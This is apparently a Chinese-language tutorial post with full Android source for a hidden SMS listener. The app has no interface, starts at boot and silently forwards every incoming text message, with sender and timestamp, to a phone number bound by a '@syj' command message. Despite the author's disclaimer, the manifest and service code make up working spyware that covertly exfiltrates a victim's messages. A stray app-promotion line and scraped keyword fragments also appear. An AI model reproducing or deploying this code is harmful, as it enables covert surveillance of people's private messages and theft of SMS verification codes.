本案例是在android手機中運行,是一個沒有界面的短信監聽軟件。主要是用BroadcastReceiver來接受短信廣播,當接收到短信後就跳轉到service中來轉發短信。哈哈,不是用來幹壞事的。這個案例用了個小協議,當用戶安裝好這個軟件後,你先要用本身的手機發送內容@syj來綁定本手機。綁定好後會收到一個ok短信用來肯定綁定成功。而後當其餘人發短信給安裝過軟件的手機,你都會收到短信了。java
主要功能:android
能監聽手機接收的全部短信
能監聽手機的開機信息
能將開機信息發送到指定手機上
能將截獲的每一條短信將其發件號碼和內容轉發到指定手機上
能經過接收特殊短信的方法設置接收短信的手機號碼
該軟件能開機自動運行sql
具體代碼app
第一步,編寫AndroidMainFest.xml文件的內容ide
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.tiantian.test" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="8" /> <application android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <receiver android:name=".SMSBroadcastReceiver"> <intent-filter > <action android:name="android.intent.action.MAIN" /> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> <service android:name=".SMSService"></service> </application> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> </manifest>
第二步:編寫SMSBroadcastReceiver.java,主要是監聽到短信後或系統開機後啓動SMSservice.java文件spa
import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class SMSBroadcastReceiver extends BroadcastReceiver{ public void onReceive(Context context, Intent intent) { Log.v("Cat", "I'm in BroadcastReceiver"); intent.setClass(context, SMSService.class); context.startService(intent); } }
第三步:編寫SMSService.java文件,具體代碼以下;code
import java.sql.Date; import java.text.SimpleDateFormat; import android.app.Service; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.IBinder; import android.telephony.SmsManager; import android.telephony.SmsMessage; import android.util.Log; public class SMSService extends Service{ private SharedPreferences prefs; private Editor editor; public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED"; @Override public IBinder onBind(Intent arg0) { // TODO Auto-generated method stub return null; } @Override public void onCreate() { // TODO Auto-generated method stub super.onCreate(); prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE); editor = prefs.edit(); } @Override public void onDestroy() { // TODO Auto-generated method stub super.onDestroy(); } @Override public int onStartCommand(Intent intent, int flags, int startId) { // TODO Auto-generated method stub Log.v("Cat", "I'm in Service"); Log.v("Cat", "Action--->" + intent.getAction()); if(intent.getAction().equals(SMS_RECEIVED)){ Object[] pdus = (Object[])intent.getExtras().get("pdus"); if(pdus != null && pdus.length != 0){ SmsMessage[] messages = new SmsMessage[pdus.length]; for(int i=0;i<pdus.length;i++){ byte[] pdu = (byte[])pdus[i]; messages[i] = SmsMessage.createFromPdu(pdu); } for(SmsMessage message : messages){ String messageBody = message.getMessageBody(); String sender = message.getOriginatingAddress(); Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender); if(messageBody.contains("@syj")){ editor.putString("_sendTo", sender); editor.commit(); SmsManager smsManger = SmsManager.getDefault(); smsManger.sendTextMessage(sender, null, "ok!", null, null); }else{ if(prefs != null){ Date date = new Date(message.getTimestampMillis()); SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String sendContent = "date:" + format.format(date) + "\n" + "sender:" + sender + "\n" + "messageBody:" + messageBody; String sendTo = prefs.getString("_sendTo", "發送失敗"); SmsManager smsManger = SmsManager.getDefault(); smsManger.sendTextMessage(sendTo, null, sendContent, null, null); } } } } } return super.onStartCommand(intent, flags, startId); } }
Date date = new Date(sms.getTimestampMillis());//獲得發送短信具體時間
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//爲實踐設置格式
這個app潮流公衆賬號主要是推薦給手機用戶最近最潮的軟件,讓你們隨時跟上時尚。咱們會提供給大家最好的服務,喜歡咱們就幫咱們推薦吧!